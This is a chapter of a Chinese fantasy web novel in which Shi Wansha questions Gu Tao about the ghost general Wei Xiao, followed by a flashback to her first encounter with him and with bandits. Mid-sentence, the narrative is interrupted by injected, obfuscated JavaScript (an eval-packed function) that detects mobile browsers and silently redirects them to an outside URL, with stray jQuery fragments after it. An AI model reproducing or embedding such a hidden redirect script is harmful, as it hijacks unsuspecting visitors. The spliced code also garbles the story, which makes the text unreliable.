片刻后,他重新走出房门,众人目光触及的刹那,皆不由得一阵失神。
那千幻袍落在他的身上,由于术法使然,极其合身,恰好勾勒出他流畅挺拔的身姿。
纯白袍面绣着同色暗纹,在光线下若隐若现。黑色皮制的腰带和束袖上压着细密回纹,低调中又透着精致。
一头披散的白色长发垂落在腰际,黑与白的交织间,将他本就俊朗的五官衬得愈发分明。
整个人看起来阳刚却不失温柔,既英气又贵气,竟有种说不出的协调。
君梦似看得痴了,歪着脑袋紧盯着他,心里反反复复只剩一个念头:早知桃哥生得俊,可他这般打扮起来,竟如此俊……
“啧啧,这模样,怕是要迷倒全城姑娘了,我得去问问看有没有屎黄色的,还是换一换比较好。”
叶远楠回过神来,酸溜溜地调侃。
“我这第一美男的称号要不保了!”
小羽撇了撇嘴:“到底是哪个眼瞎的给你起这称号?怕不是自封的吧?”
叶远楠立即瞪眼:“哥哥我人称美妇收割玉面官人!小丫头片子你懂什么一二三四五?!”
“呵~忒!”
陆以乐将顾桃从头到脚打量,十分满意,一把拉住他就要往外走。
“走走走,逛街去!让这些人都好好看看,咱们大白虎有多威风英武!”
顾桃刚要拒绝,就被损友们推搡着往外走。
恰在此时,客院进来一位不速之客。
那是个十来岁的小姑娘,肌肤莹白娇嫩,眉眼清澈明亮;身穿浅月白长裙,腰间系着素色长带,挂着好几个符囊,一看便是修行符箓之人。
明明顶着一张稚气未脱的脸,却梳着成年女子的发髻。表情沉闷,一副心事重重的模样,整个人的气质偏生与外表产生强烈的反差。
院中几人停止说笑打闹,齐刷刷看过去。
小姑娘淡定颔首,朝几人稍微打量,最后将目光落在打眼的顾桃身上。
倒是高大英俊,连卫骁也远不及他。
她眉尾轻微动了动,仰头问道:“郎君可是顾公子?”声音干净清脆,只是语调里没有小少女应有的天真感。
顾桃显然还是不太适应这种称呼,犹豫了一下才答道:“在下顾桃,请问这位道友是……?”
“师晚纱,钟念是我师兄,巫马长老是我师父。”
几人面面相觑,钟念倒是见过,但巫马长老只听过,从未见面,就连那场声势浩大的晚宴也没参加,只知道此人在万境宗内地位极高。
他的徒弟里,竟还有这么一个奇怪小丫头?也不知她上门来是何原因?
师晚纱不理会几人偷摸用眼色交流,带着主人家的气势对他们做了个请势,先一步往院内石桌走去,给自己倒了一杯新茶。
打从内堂出来,她就去询问了几位师兄,得到的答案出奇一致:不知道。
用脚指头想也晓得,这是被上面打过招呼统一口径的,至于是钟念还是师父,那都不重要了。
本来就是疾行赶路回到门宗,还未喝上一口茶就又奔波了一圈,又累又渴的正要回房休息,却无意中听到两名小师弟抱怨客人不识好歹。
她听了一会儿,突然起了打扰这几位不按套路出牌的贵客的兴致。
还有谁,能比亲自降服鬼将的白虎妖兽更清楚细节呢?!而且按他们这样软硬不吃的性子,多半不会被收买。
师晚纱咽下茶水,干涩的喉咙舒服许多。
她兀自坐下,“郎君坐下聊吧,别这么见外。”
几人听她这么说,也是出于好奇,还真就乖乖回到桌旁落了座。
顾桃在她正对面,等她开口。
“我没有别的意思,更不是来替师兄当说客,只是想找你打听一点事情。”
“那泗水寨中镇压的鬼将……是何模样?”
问出这句话的时候,她眼中的疏离淡了点,看向顾桃的眼神带着期待,还有少许惧怕。
顾桃瞧她小小年纪就带着忧愁,像是与那鬼将相识,仔细想了想,答道:“无首,黑甲黑马,怨气极重,具体瞧不太清。手持长刀,身手利落,一人一马作战经验丰富,生前多半是一方大将。”
他越是描述,师晚纱脸色越差,最后双唇颤抖,眼眶也蓄满了泪水。
叶远楠补充道:“应是受到养尸地阴气的影响,加重了怨气,它出来的时候身形已达两丈有多。我们家大白虎像座雪山,它就像是煤山……”
君梦最是见不得柔弱小姑娘哭泣,摸遍周身也没寻到帕子,干脆拉起师晚纱的宽袖替她擦去脸颊上的水珠。
小姑娘明明难过到了极点,却又要强忍,这副模样实在让人心酸。
“真的……真的是他……”
君梦轻声问道:“你认识那只鬼么?我听说它叫卫骁,该不会生前是你亲人吧?”
叶远楠听得脑门一黑,忙在桌下扯了扯她的袖角。
师晚纱没有回答,“卫骁”两字刚出,眼泪便开始哗啦啦往下流,颤声道了谢后,起身离开。
几人一时摸不着头脑,本来还想着能有什么新鲜瓜可吃,这人匆匆来匆匆去的,就为了问这么一句话?
不过这接连的打岔,几人也没了逛街的兴趣。
……
师晚纱瘪着嘴哭了一阵,擦干眼泪直奔宗内后山。
巫马长老常年住在那里,并不怎么到前院来。
钟念那里问不出什么有价值的东西,没必要再去浪费时间,还不如直接来师父这里,她若执意要查,他们是瞒不住的。
她轻轻吸了口气,正要抬手叩门,里头传来老人的说话声。
“晚纱,进来吧。”
师晚纱心头一动,应声而入。
竹舍内青烟袅袅,巫马长老坐在案几后方的蒲团上,一脸祥和。他仍是头戴兜帽、手覆皮手套的打扮,只因多年前他为泗水寨布阵,被冲天而起的阴气反噬,留下抹不去的伤痕。
她垂目上前,屈膝行礼,声音里带着几分哭过的沙哑。
“师父……”
她常年在外游历,于宗内并无正式职称,因此对巫马长老的称呼一直没改。而巫马长老对于这位老友的爱女,素来宠溺,平日里几乎事事都由着她。
巫马轻叹一声,“你这孩子,终究还是来了。”
师晚纱再次落下泪来,咬着唇角埋头不动。
……
十四年前。
师晚纱时年一十有五,生父师明意,如今是与万境宗齐名的大门派“灵枢阁”长老之一。
她身为独女,自幼宠爱无边,跟随老父主修符箓,伯伯师明海时不时传授她一些简单阵法。
她和卫骁的初遇,是在启明城外郊。
这位曾经威震一方的镇守将军,身高八尺,肩宽背阔;浑身覆盖黑金铠甲,手握一柄乌金长刀。旁边黑马强健如兽,鬃毛如墨,鼻间喷出的无形气浪,与主人气场浑然一体。
一人一马,在血红的夕阳下傲然挺立。
将军身陨时,大陆尚未平复,死后仍执念不消,自成灵体徘徊于主城外围。其生前修为深厚且功德无量,因此灵体清晰,浓眉大眼细节可见,宛如活人。
师晚纱算是“慕名”而来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293131|195263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,这是她第一次离开飞天城,跋山涉水来到这么远的地方。
“喂,你就是卫骁?”
那将军收回观景的目光,低头对跟前女娃打量几眼。女娃右手偷偷捻着符纸,被他居高临下瞧得清清楚楚。
他淡淡笑了笑,并未吱声。
“喂,你能说话吗?应该是能的吧?我瞧你身上灵气很足呢!”
卫骁彻底无视她,拉过缰绳,翻身上马,双腿夹紧马肚催促俊马奔走,口中吁了一声。
“???”
师晚纱反应了好一会,他刚才发出声音,是能说话的,那就是单纯不想理她!
她在家中被众人捧在掌心长大,几时受过这般屈辱?顿时来了火气,举起净化符口中念念有词,闪身追了过去。
“大胆邪祟!本小姐今日就教教你如何做只讲礼貌的好鬼!”
随着话音,手中符纸灵光乍现,直朝卫骁射去。
卫骁当即勒住缰绳,反手将乌金长刀轻轻一拂,只听微弱的“轰”声响起,那张符箓竟被刀气直接截断,随之消散在空中。
黑马不满地“哼哼”两声,在原地踏步。
卫骁拍拍它,低头瞥向姑娘,打趣道:“这是哪家大小姐?人不大点,脾气倒是不小。”
师晚纱气得腮帮子都鼓起来,可偏偏实力悬殊在面前摆着,一只鬼物,竟不怕净化符!她是一点办法也没有!
她俏脸涨得通红,反驳道:“分明是你无礼在先!”
卫骁被她逗笑,劝道:“小姑娘去城里玩耍吧,我这一身的鬼气,你离得近了对身体不好。”
师晚纱愣住。
她自小崇拜的明海伯伯分明教导她,符箓术师的职责便是除尽世间邪祟,要杀伐果断,不可留它们为祸苍生,她觉得甚是有理!
可眼前这只鬼,非但不凶恶,反倒担心自己伤害到生人?
她又想起出发前,父亲曾告诉她,世上好坏不应以物种区分,还特地拿卫骁举了个例子。
那时她还满心不服,认为父亲性子太过软弱,远不如伯伯霸气。
也正因如此,她才不辞辛苦跑来启明城,想用亲眼所见的事实,打破父亲不正确的论证。
就在她陷入自辩的片刻功夫,卫骁已经转身离去。
等她抬头时,早不见其踪影,当即恼得狠狠跺脚。
此后几天,师晚纱都在城郊打转,经打探,听闻卫骁的活动范围就在这一片。
正啃着干粮寻找痕迹,身后窸窸窣窣响起动静。
师晚纱将馒头一丢,摸出驱邪符就要动手,却见对方不是什么邪物,竟是一伙强盗。
这伙人四处流窜作案,听闻启明周边往来皆是富贵商人,如今看这小姑娘衣着光鲜,眉眼清澈,好拿捏得很,越发觉得来对了地头。
“小妹妹,把身上值钱的物件都交出来,哥哥们定不为难你。”
为首的强盗手持钢刀,猥琐的目光将她从头到脚一番扫视。
师晚纱心头一紧,对方是普通人,倒是犯难了,她的身法一向差劲,这伙强盗身强体壮,八成打不过。
这一路沿途助人,定神符早已用光,只剩下净化驱邪,原本留着对付卫骁,可最终也没用上。她这几天忙活寻他,连城门都未进,都来不及补充其余符咒。
她心中七上八下不停打鼓,寻思着钱乃身外物,给了就给了吧。
于是她解下钱袋抛过去,天真说道:“这些钱给你们,你们走吧。”
“哈?”
强盗们没憋住哈哈大笑,原来是个富贵人家的傻小姐啊,绑了说不定还能敲上一笔大钱。